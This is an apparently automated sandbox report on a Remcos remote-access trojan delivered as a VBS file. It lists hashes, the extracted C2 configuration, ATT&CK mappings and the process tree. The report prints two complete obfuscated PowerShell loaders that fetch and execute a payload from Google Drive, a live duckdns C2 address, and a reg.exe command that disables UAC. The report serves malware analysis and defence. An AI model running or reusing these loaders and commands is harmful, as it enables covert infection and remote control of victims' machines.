remcos | a9b35270a11c6bbcf9aeffdc5094105486beed9e772b59116f276584d9357e12

Analysis

max time kernel
149s
max time network
151s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 03:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a9b35270a11c6bbcf9aeffdc5094105486beed9e772b59116f276584d9357e12.vbs
Size

16KB
MD5

7629b8a9f44c0d82a77edd71ff758028
SHA1

c7e7708565e250860139338d8a0dd79ba05a0b54
SHA256

a9b35270a11c6bbcf9aeffdc5094105486beed9e772b59116f276584d9357e12
SHA512

2ede58762d50013647f32a1b55c9979f0f99820c5e0fc2dbc94403d80f9a222fb07f319857e4fc2a25407b4c33d118250e4ff48475d83c49333c9c23a591d15c
SSDEEP

384:9Wl6/kDhGteC20UFY0Z0o6m1PdFu+mTD5Za:3/kMteC2VFeo64PruJK

Score

10^/10

remcos remotehost discovery evasion execution rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

hg575438h-0.duckdns.org:23458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-WNVZ5S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
2	2168	WScript.exe
7	2536	powershell.exe
9	2536	powershell.exe
11	1400	msiexec.exe
13	1400	msiexec.exe
15	1400	msiexec.exe
17	1400	msiexec.exe
18	1400	msiexec.exe
20	1400	msiexec.exe
21	1400	msiexec.exe
22	1400	msiexec.exe
23	1400	msiexec.exe
24	1400	msiexec.exe
25	1400	msiexec.exe
26	1400	msiexec.exe
27	1400	msiexec.exe
28	1400	msiexec.exe
29	1400	msiexec.exe
30	1400	msiexec.exe
31	1400	msiexec.exe
32	1400	msiexec.exe
33	1400	msiexec.exe
34	1400	msiexec.exe
35	1400	msiexec.exe
36	1400	msiexec.exe
45	1400	msiexec.exe
46	1400	msiexec.exe
47	1400	msiexec.exe
48	1400	msiexec.exe
49	1400	msiexec.exe
50	1400	msiexec.exe
51	1400	msiexec.exe
52	1400	msiexec.exe
53	1400	msiexec.exe
54	1400	msiexec.exe
55	1400	msiexec.exe
56	1400	msiexec.exe
57	1400	msiexec.exe
58	1400	msiexec.exe
59	1400	msiexec.exe
60	1400	msiexec.exe
61	1400	msiexec.exe
62	1400	msiexec.exe
63	1400	msiexec.exe
64	1400	msiexec.exe
65	1400	msiexec.exe
67	1400	msiexec.exe
68	1400	msiexec.exe
69	1400	msiexec.exe
70	1400	msiexec.exe
71	1400	msiexec.exe
72	1400	msiexec.exe
73	1400	msiexec.exe
74	1400	msiexec.exe
75	1400	msiexec.exe
76	1400	msiexec.exe
77	1400	msiexec.exe
78	1400	msiexec.exe
79	1400	msiexec.exe
80	1400	msiexec.exe
81	1400	msiexec.exe
82	1400	msiexec.exe
83	1400	msiexec.exe
84	1400	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2536	powershell.exe
2344	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
1400	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2344	powershell.exe
1400	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.execmd.exereg.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
2452	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2536	powershell.exe
2344	powershell.exe
2344	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid	Process
2344	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
1400	msiexec.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	Process	procid_target
PID 2168 wrote to memory of 2536	2168	WScript.exe	30
PID 2168 wrote to memory of 2536	2168	WScript.exe	30
PID 2168 wrote to memory of 2536	2168	WScript.exe	30
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 2344 wrote to memory of 1400	2344	powershell.exe	36
PID 1400 wrote to memory of 2848	1400	msiexec.exe	38
PID 1400 wrote to memory of 2848	1400	msiexec.exe	38
PID 1400 wrote to memory of 2848	1400	msiexec.exe	38
PID 1400 wrote to memory of 2848	1400	msiexec.exe	38
PID 2848 wrote to memory of 2452	2848	cmd.exe	40
PID 2848 wrote to memory of 2452	2848	cmd.exe	40
PID 2848 wrote to memory of 2452	2848	cmd.exe	40
PID 2848 wrote to memory of 2452	2848	cmd.exe	40

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a9b35270a11c6bbcf9aeffdc5094105486beed9e772b59116f276584d9357e12.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Pikkendes='Refall207';;$Atlaskeskjolens='Farveklip';;$Mglingens='Spildevandspaavirkningernes';;$Dagtemperaturen24='Flodblgerne';;$forskelsbehandlet='Erstatningsansvaret';;$Rettearbejders=$host.Name;function Preenforcing($Viderefr){If ($Rettearbejders) {$Carrousel=4} for ($databger=$Carrousel;;$databger+=5){if(!$Viderefr[$databger]) { break }$Derationalize+=$Viderefr[$databger]}$Derationalize}function dalmatiners($Dityrambes){ .($Protoglobulose) ($Dityrambes)}$Spleenens=Preenforcing '.rldnSaimE Gawt Upt.CauswU reeKradbFalsc CohlKullI In eAutonDataT';$Nonutilities=Preenforcing 'B acMDacaoA orzS mmiVrgelRidslChroa Spi/';$Tutorages=Preenforcing ' enTOrthl ForsPoro1Jako2';$Stedmorens36='Torv[KondN LaieTr pt R s. Co.S fteEPeriRKo,dVRattIScricUncoeCameP,oncORepoiSlutNAl uTSl fmprotaJenbnUnsaA RepGrobiE ostRChyl] ,ne:Salo:VareS UnrE BagcUninUSketRunamiRul TCollYUnsiPKerarSu.poNoniTUn ioKnolCM.moo U.sL.ema=Neig$ sydT SamUUntit Fu OH,reRwackAPapigPreaE Udvs';$Nonutilities+=Preenforcing 'Ud,e5Disk.Skid0.oll Upey(L.ftWR.keiFunkn D.udBenyoKe pwFabrsFor EvicNKonsT or Som 1Optr0 Mon.Op r0srba;D,de ,aniWUdsii ek.nPs,u6Ase.4 ec; Auk Taljx rud6Arcc4Trig; T.r Melir nrev nt:Fore1 De 3Skov1 non.Guld0Jung)Brne UdduGNatieFr acUovekU,saoUnfa/Fo.e2Smrg0Vide1Aero0Efte0Brud1 van0 Nyk1Dunb LemmFS fti conrVoteeEsquf .uno ForxF,le/ nc1Gunf3Indl1 .as.Insu0';$Dunghill=Preenforcing ' BobuGldeSAu,ie BeaRAfna-LucuABl mg iddeSa.vnCottT';$Slukket=Preenforcing 'Skudh.reltxylet laspB gesTi h:Quad/Ov,r/ K mdAt orS lviAnglvA.roear.u.ConggBevioDemyo lumgQua lMorse Tak.Cal,cCyanoAfbamTw n/Fladu GricI si? I de afsxFedtpUnexo S.erSamltuspo=s rtdNonroS.riwForsn KatlSprdoboomaAabndForl& Frei etadSlag=Ga t1 ,rt7Kic.M Clox ar,xAr uZGreyUMer.TOphilEvigJSproIS,ciV,rti5 Intcb zatMaveK Runh tiD Bl JDel 4 A tcIn rtCh bLBagv6p epKFlkhLBundwJackrPopl9UropkSla 6Snkn1 E tE';$Mononucleosises=Preenforcing 'S mi>';$Protoglobulose=Preenforcing 'ApaniBilrE.fteX';$Hmmedes='Finn';$Svagelighed='\mandolin.Udr';dalmatiners (Preenforcing 'Mono$TavsgG inl naoU stBInsiATangLStrt:BarylNowiEUn,nD Cope.okil Re iLangn igI PlaeRick2Vamp5Bug.0,has=wisp$VegnE RodnO,erVRoc :B aaa eglPR soP ertdagteaLimit andA eta+Repr$ HorSUdspVRosaaBottGDe.tEParalE spiS nugF rgHTro eStacD');dalmatiners (Preenforcing ' Sol$inteGTjenlKaldO S oBHelbAMa.gLinte: greC LanODisaNBreds.romtCiteRInteUV.rtCUndeTA imiKorroOpr,nDragaAftvlDyrkLCo oyDipo=Nav $Des,sRadiL UteURisik,entkG rdE FortTurs.LedeSDolepPannlMa oIGlamTThio(Eare$SpatmBes OPainN GeroAf enOp rURaaocMagilBe eE dogO krS ForITeglsAmale BriS Clo)');dalmatiners (Preenforcing $Stedmorens36);$Slukket=$Constructionally[0];$billetsalg=(Preenforcing 'Shor$ LigGbioglStorORedaBYa oA TelLF.yg:wellAKathrL.ngbMisfi.ovjtTumbRUdhaARe rGMaanECogrAOverFIlsadUnm eBengLUnd iCratNTaxiGLsehe MisnFlam= ThyNMilie.efrWA ma-Fj rOF.miBR diJPla,EOrnaC ,udT Ewe MortSTestyOffesforeT Di eReknM Syl.Mis $Knips ajePStamlRekoeSeceESub NTerreRy kNAdkvS');dalmatiners ($billetsalg);dalmatiners (Preenforcing 'Rntg$ElekARecorP rcbLydtiPenstSerarBarba Tykg dbeAnteaMidtfRemedLinoeTegnlHalui ubn IndgCollere,an D.v.bemeHAflyeHai aMisudStjmeEnrorpen sBrun[ T p$AlcyDUmaau JetnDagigValshR,byiCicelAd llNank]Rect=S.ar$ alvNDuloo Vo.nCynouBra t SveiSen lSno iOmfatAgteiAtike atis');$Lastvrk=Preenforcing ' U.s$ FriAVe,trCircbOctaiMor,t ntrUnmoaSporgSubde ngaaDislf La dSfyreWatclNonti,estnVe eg ForeMontn Reg.FighD BlaoFentwS,aanRuc lRe ooS joaStoldtrd FR naiEsmelWoefe Dah(Post$Gen SSammlM nsuRadikspilkFje,eFlertMont,Hypn$PostONonevSeaseGaa reftesTegnkS rguHomodR.cisTracp C.frM dtoPro dE,eruPr,tkEvertBoroi BrnoEscanlowle farr icenLigeeSpils,ord)';$Overskudsproduktionernes=$Ledelinie250;dalmatiners (Preenforcing ',ndd$ Hemg Or.L armOBortBSonja DisLGern: BriHkrukymuckdA,hmr IleUPaafr Attu ors ,or=Se.e(,tiktFiliekrlissol,TLege-AnidpDepaAKernTPreshAlde Nonc$FormOGardv f jE T nrConvSQuadkPh.luskeeDSkinsIntepBobbr akOPoseDS raU.etoKSymmtAn iIAft O Slun agdeMotorPolyNRenheT.rpS g i)');while (!$Hydrurus) {dalmatiners (Preenforcing ' Spi$ChaigChimlSdsuoSma.bB,eaaHa mlNonr:afveC ,rshZardaAvigrParattilgrHulki Bo ngradgOye,e Refnbed.= Pap$Ch ePDroso BartDrttiRecacOverhCyclo mimmFootaAabnnArboiAfgaa') ;dalmatiners $Lastvrk;dalmatiners (Preenforcing 'R crSTusit Un a ResRB ldTSepo-JydsSVan.L MeaeOndaEDiespDeic Sp n4');dalmatiners (Preenforcing ' Nyt$BioggDespl S eO GarbSigta rtilPali:Ven hKonfyR gndIna,rBeriU la.r Lu UVagaSAlfa=.uto(TunftRespeEthosUkloTAlgi-HimmPFejlABeauTRefehOut. Chik$Ukldo HvlvJor E S bRSubesPoolkUnd.u ,ledAll s UnspLapiR isdODundDNegeUK,rkK MartFrasI H cOinteNGh seKaraR IniNJernEDextsInge)') ;dalmatiners (Preenforcing ' Inf$Fo,sGPedilLejeoLaboB jenaNysgL Lan:IncuTS bfrL.ndEMyndEO erII.dhNg ndG oad=dors$J veg aadlAthrOLieuBAag aCalllmiss:Bardy esknBiflGRepeLUnp.ESpleDY tpyBespg CalT dueiRiemgDds eHjkiSDrab+Bl k+Si.e% Sol$Unsuc O,tOBllen E cSUngkt SteRRubbu CamcEremTSko.iLovfoLselnSedaA Scol A blTi,ey rov.Exarce,feoFrinu SkonGarrT') ;$Slukket=$Constructionally[$Treeing]}$Polaristrobometer=307322;$databgernterpretative=30954;dalmatiners (Preenforcing ' ele$Evi,GA,icL TomoTr mbPoleADrhalGire:Flagd edeRStraAD.gaGHoveePreueulovrBygnn auE run V l=Ubet AlkoGDallEBru tSt d-OutrC nseo H,nNN,nrTOmseECrofnShelT M.d St e$Predooph,VAs iENon RSkilSTovekIatrU A eDCiriS Al.p I oRSilvodegaDDemouautokDybsTImmuI LacO.igan LonEUdf.rBas.n TenetrniS');dalmatiners (Preenforcing 'pols$ExtegrecolAd loYde.b.steaBai,lPins: AmoE Gral Fl a Sorb Dego E erMi,naHumbtBicieSupesSyge S,e=Udb. Kali[BestSoneryPressFremtLar.eEgetmEmba.A,dwCRehaoMo rnAffav KleeT llrKrfttGr m]Stot: ,is:BlafFCla rR.daoTaksmTatoBT pka oofsfld eEarn6 .ud4Mis,S lytB,rtr ElriReapnUnstg.ngv(Orga$ T.dD Zy rPostasab.gTalleArche lygrW,ennwo,geNatb)');dalmatiners (Preenforcing ' Gra$Pa tGChadLUdenOPlumbBenaa Vi.l Pra: RepJSkanIBebum A tjBalaASupeMN tusLedn Kaff=Natt In r[ arrssqueYmid s FagTbl kEForlmAcre.S,amTBri eRachxcic TCal . S,mESpidNNonfCWan Or gnDSvmmiBrann St g.ors]Typo:Cali: s iaFjersTr ic,jleISub,ICons.NetsGLageeMa cT Tr SFilmTMichrBopyIBo unFri.gAuto(Hj,m$InvoEEn.elBu taIoniBDveloPantrCoota PretAflaeTodksHist)');dalmatiners (Preenforcing '.tal$B ocGRimsLInfaORealBDainAUdstlgamm:SpinpBidseThorlPanmeLugtc EenASpydnUnfaUL ndSResn= .re$PrerjGib i FejmUltijEpima sadMOverSLanc.CavasSu fuSillbbardsOleaT orsROpb iD asnA.begA om(Sejs$ Ep,PHoveO raglRib ADdker,ednI Pl.SDoodTNonbrPuseOCatcbspe OUnc MDisse.olstOutqE jerR alg,Kont$ ,usDP,tta G eTUndeaElg BetvrgInduERediR miln UndtSa sE orkROph P unkRRevieP.ssTPr mABri.TViroiM llVDagse ut)');dalmatiners $Pelecanus;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Pikkendes='Refall207';;$Atlaskeskjolens='Farveklip';;$Mglingens='Spildevandspaavirkningernes';;$Dagtemperaturen24='Flodblgerne';;$forskelsbehandlet='Erstatningsansvaret';;$Rettearbejders=$host.Name;function Preenforcing($Viderefr){If ($Rettearbejders) {$Carrousel=4} for ($databger=$Carrousel;;$databger+=5){if(!$Viderefr[$databger]) { break }$Derationalize+=$Viderefr[$databger]}$Derationalize}function dalmatiners($Dityrambes){ .($Protoglobulose) ($Dityrambes)}$Spleenens=Preenforcing '.rldnSaimE Gawt Upt.CauswU reeKradbFalsc CohlKullI In eAutonDataT';$Nonutilities=Preenforcing 'B acMDacaoA orzS mmiVrgelRidslChroa Spi/';$Tutorages=Preenforcing ' enTOrthl ForsPoro1Jako2';$Stedmorens36='Torv[KondN LaieTr pt R s. Co.S fteEPeriRKo,dVRattIScricUncoeCameP,oncORepoiSlutNAl uTSl fmprotaJenbnUnsaA RepGrobiE ostRChyl] ,ne:Salo:VareS UnrE BagcUninUSketRunamiRul TCollYUnsiPKerarSu.poNoniTUn ioKnolCM.moo U.sL.ema=Neig$ sydT SamUUntit Fu OH,reRwackAPapigPreaE Udvs';$Nonutilities+=Preenforcing 'Ud,e5Disk.Skid0.oll Upey(L.ftWR.keiFunkn D.udBenyoKe pwFabrsFor EvicNKonsT or Som 1Optr0 Mon.Op r0srba;D,de ,aniWUdsii ek.nPs,u6Ase.4 ec; Auk Taljx rud6Arcc4Trig; T.r Melir nrev nt:Fore1 De 3Skov1 non.Guld0Jung)Brne UdduGNatieFr acUovekU,saoUnfa/Fo.e2Smrg0Vide1Aero0Efte0Brud1 van0 Nyk1Dunb LemmFS fti conrVoteeEsquf .uno ForxF,le/ nc1Gunf3Indl1 .as.Insu0';$Dunghill=Preenforcing ' BobuGldeSAu,ie BeaRAfna-LucuABl mg iddeSa.vnCottT';$Slukket=Preenforcing 'Skudh.reltxylet laspB gesTi h:Quad/Ov,r/ K mdAt orS lviAnglvA.roear.u.ConggBevioDemyo lumgQua lMorse Tak.Cal,cCyanoAfbamTw n/Fladu GricI si? I de afsxFedtpUnexo S.erSamltuspo=s rtdNonroS.riwForsn KatlSprdoboomaAabndForl& Frei etadSlag=Ga t1 ,rt7Kic.M Clox ar,xAr uZGreyUMer.TOphilEvigJSproIS,ciV,rti5 Intcb zatMaveK Runh tiD Bl JDel 4 A tcIn rtCh bLBagv6p epKFlkhLBundwJackrPopl9UropkSla 6Snkn1 E tE';$Mononucleosises=Preenforcing 'S mi>';$Protoglobulose=Preenforcing 'ApaniBilrE.fteX';$Hmmedes='Finn';$Svagelighed='\mandolin.Udr';dalmatiners (Preenforcing 'Mono$TavsgG inl naoU stBInsiATangLStrt:BarylNowiEUn,nD Cope.okil Re iLangn igI PlaeRick2Vamp5Bug.0,has=wisp$VegnE RodnO,erVRoc :B aaa eglPR soP ertdagteaLimit andA eta+Repr$ HorSUdspVRosaaBottGDe.tEParalE spiS nugF rgHTro eStacD');dalmatiners (Preenforcing ' Sol$inteGTjenlKaldO S oBHelbAMa.gLinte: greC LanODisaNBreds.romtCiteRInteUV.rtCUndeTA imiKorroOpr,nDragaAftvlDyrkLCo oyDipo=Nav $Des,sRadiL UteURisik,entkG rdE FortTurs.LedeSDolepPannlMa oIGlamTThio(Eare$SpatmBes OPainN GeroAf enOp rURaaocMagilBe eE dogO krS ForITeglsAmale BriS Clo)');dalmatiners (Preenforcing $Stedmorens36);$Slukket=$Constructionally[0];$billetsalg=(Preenforcing 'Shor$ LigGbioglStorORedaBYa oA TelLF.yg:wellAKathrL.ngbMisfi.ovjtTumbRUdhaARe rGMaanECogrAOverFIlsadUnm eBengLUnd iCratNTaxiGLsehe MisnFlam= ThyNMilie.efrWA ma-Fj rOF.miBR diJPla,EOrnaC ,udT Ewe MortSTestyOffesforeT Di eReknM Syl.Mis $Knips ajePStamlRekoeSeceESub NTerreRy kNAdkvS');dalmatiners ($billetsalg);dalmatiners (Preenforcing 'Rntg$ElekARecorP rcbLydtiPenstSerarBarba Tykg dbeAnteaMidtfRemedLinoeTegnlHalui ubn IndgCollere,an D.v.bemeHAflyeHai aMisudStjmeEnrorpen sBrun[ T p$AlcyDUmaau JetnDagigValshR,byiCicelAd llNank]Rect=S.ar$ alvNDuloo Vo.nCynouBra t SveiSen lSno iOmfatAgteiAtike atis');$Lastvrk=Preenforcing ' U.s$ FriAVe,trCircbOctaiMor,t ntrUnmoaSporgSubde ngaaDislf La dSfyreWatclNonti,estnVe eg ForeMontn Reg.FighD BlaoFentwS,aanRuc lRe ooS joaStoldtrd FR naiEsmelWoefe Dah(Post$Gen SSammlM nsuRadikspilkFje,eFlertMont,Hypn$PostONonevSeaseGaa reftesTegnkS rguHomodR.cisTracp C.frM dtoPro dE,eruPr,tkEvertBoroi BrnoEscanlowle farr icenLigeeSpils,ord)';$Overskudsproduktionernes=$Ledelinie250;dalmatiners (Preenforcing ',ndd$ Hemg Or.L armOBortBSonja DisLGern: BriHkrukymuckdA,hmr IleUPaafr Attu ors ,or=Se.e(,tiktFiliekrlissol,TLege-AnidpDepaAKernTPreshAlde Nonc$FormOGardv f jE T nrConvSQuadkPh.luskeeDSkinsIntepBobbr akOPoseDS raU.etoKSymmtAn iIAft O Slun agdeMotorPolyNRenheT.rpS g i)');while (!$Hydrurus) {dalmatiners (Preenforcing ' Spi$ChaigChimlSdsuoSma.bB,eaaHa mlNonr:afveC ,rshZardaAvigrParattilgrHulki Bo ngradgOye,e Refnbed.= Pap$Ch ePDroso BartDrttiRecacOverhCyclo mimmFootaAabnnArboiAfgaa') ;dalmatiners $Lastvrk;dalmatiners (Preenforcing 'R crSTusit Un a ResRB ldTSepo-JydsSVan.L MeaeOndaEDiespDeic Sp n4');dalmatiners (Preenforcing ' Nyt$BioggDespl S eO GarbSigta rtilPali:Ven hKonfyR gndIna,rBeriU la.r Lu UVagaSAlfa=.uto(TunftRespeEthosUkloTAlgi-HimmPFejlABeauTRefehOut. Chik$Ukldo HvlvJor E S bRSubesPoolkUnd.u ,ledAll s UnspLapiR isdODundDNegeUK,rkK MartFrasI H cOinteNGh seKaraR IniNJernEDextsInge)') ;dalmatiners (Preenforcing ' Inf$Fo,sGPedilLejeoLaboB jenaNysgL Lan:IncuTS bfrL.ndEMyndEO erII.dhNg ndG oad=dors$J veg aadlAthrOLieuBAag aCalllmiss:Bardy esknBiflGRepeLUnp.ESpleDY tpyBespg CalT dueiRiemgDds eHjkiSDrab+Bl k+Si.e% Sol$Unsuc O,tOBllen E cSUngkt SteRRubbu CamcEremTSko.iLovfoLselnSedaA Scol A blTi,ey rov.Exarce,feoFrinu SkonGarrT') ;$Slukket=$Constructionally[$Treeing]}$Polaristrobometer=307322;$databgernterpretative=30954;dalmatiners (Preenforcing ' ele$Evi,GA,icL TomoTr mbPoleADrhalGire:Flagd edeRStraAD.gaGHoveePreueulovrBygnn auE run V l=Ubet AlkoGDallEBru tSt d-OutrC nseo H,nNN,nrTOmseECrofnShelT M.d St e$Predooph,VAs iENon RSkilSTovekIatrU A eDCiriS Al.p I oRSilvodegaDDemouautokDybsTImmuI LacO.igan LonEUdf.rBas.n TenetrniS');dalmatiners (Preenforcing 'pols$ExtegrecolAd loYde.b.steaBai,lPins: AmoE Gral Fl a Sorb Dego E erMi,naHumbtBicieSupesSyge S,e=Udb. Kali[BestSoneryPressFremtLar.eEgetmEmba.A,dwCRehaoMo rnAffav KleeT llrKrfttGr m]Stot: ,is:BlafFCla rR.daoTaksmTatoBT pka oofsfld eEarn6 .ud4Mis,S lytB,rtr ElriReapnUnstg.ngv(Orga$ T.dD Zy rPostasab.gTalleArche lygrW,ennwo,geNatb)');dalmatiners (Preenforcing ' Gra$Pa tGChadLUdenOPlumbBenaa Vi.l Pra: RepJSkanIBebum A tjBalaASupeMN tusLedn Kaff=Natt In r[ arrssqueYmid s FagTbl kEForlmAcre.S,amTBri eRachxcic TCal . S,mESpidNNonfCWan Or gnDSvmmiBrann St g.ors]Typo:Cali: s iaFjersTr ic,jleISub,ICons.NetsGLageeMa cT Tr SFilmTMichrBopyIBo unFri.gAuto(Hj,m$InvoEEn.elBu taIoniBDveloPantrCoota PretAflaeTodksHist)');dalmatiners (Preenforcing '.tal$B ocGRimsLInfaORealBDainAUdstlgamm:SpinpBidseThorlPanmeLugtc EenASpydnUnfaUL ndSResn= .re$PrerjGib i FejmUltijEpima sadMOverSLanc.CavasSu fuSillbbardsOleaT orsROpb iD asnA.begA om(Sejs$ Ep,PHoveO raglRib ADdker,ednI Pl.SDoodTNonbrPuseOCatcbspe OUnc MDisse.olstOutqE jerR alg,Kont$ ,usDP,tta G eTUndeaElg BetvrgInduERediR miln UndtSa sE orkROph P unkRRevieP.ssTPr mABri.TViroiM llVDagse ut)');dalmatiners $Pelecanus;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
73916dff81054bb03b66438d1b45e4f3

SHA1
5a94bd99a69515a9f47c1f9d53ae0aa3eaf0f353

SHA256
b4c665143cfc4ccb4da7460b445e3e2f8e8fddc297716a1e53296ae348082acb

SHA512
757a131930d030814138ef0898dc5d5f527f0ee188a97fca9677868cca3d94d0fffb9116992c15b714ff1c2a7f22eb7b5a0692cbc7a0fb91bb16ac347a99b9d5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b13638989c6d5bd1e5e675abaf02a4fc

SHA1
f947c607c551bf8b05d83a6ac4dee02184af863b

SHA256
f897194e0cf5db91b46337d2df0ea4d92b05341ce7d504fc5e00855bd077af03

SHA512
8c5aa337c2040e1c9cc6eca1827c3d7d95459e071e47c6eea955f087e860217acb166cd212d1e574f458d9fb63767ef81377ab996143cf8d0f3185af30ce6bd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC7B4.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar622E.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PUUGEWTOFCOAIW37G7I2.temp

Filesize
7KB

MD5
48825ef92a0eab236e780f71d7c2bc90

SHA1
ea42eeddd91cf2a13ed0593f5ca599fed2af47ee

SHA256
600f41248c22097b2252ddc606f9693533f9a9ce92aa51fcf73f925ca17d4a38

SHA512
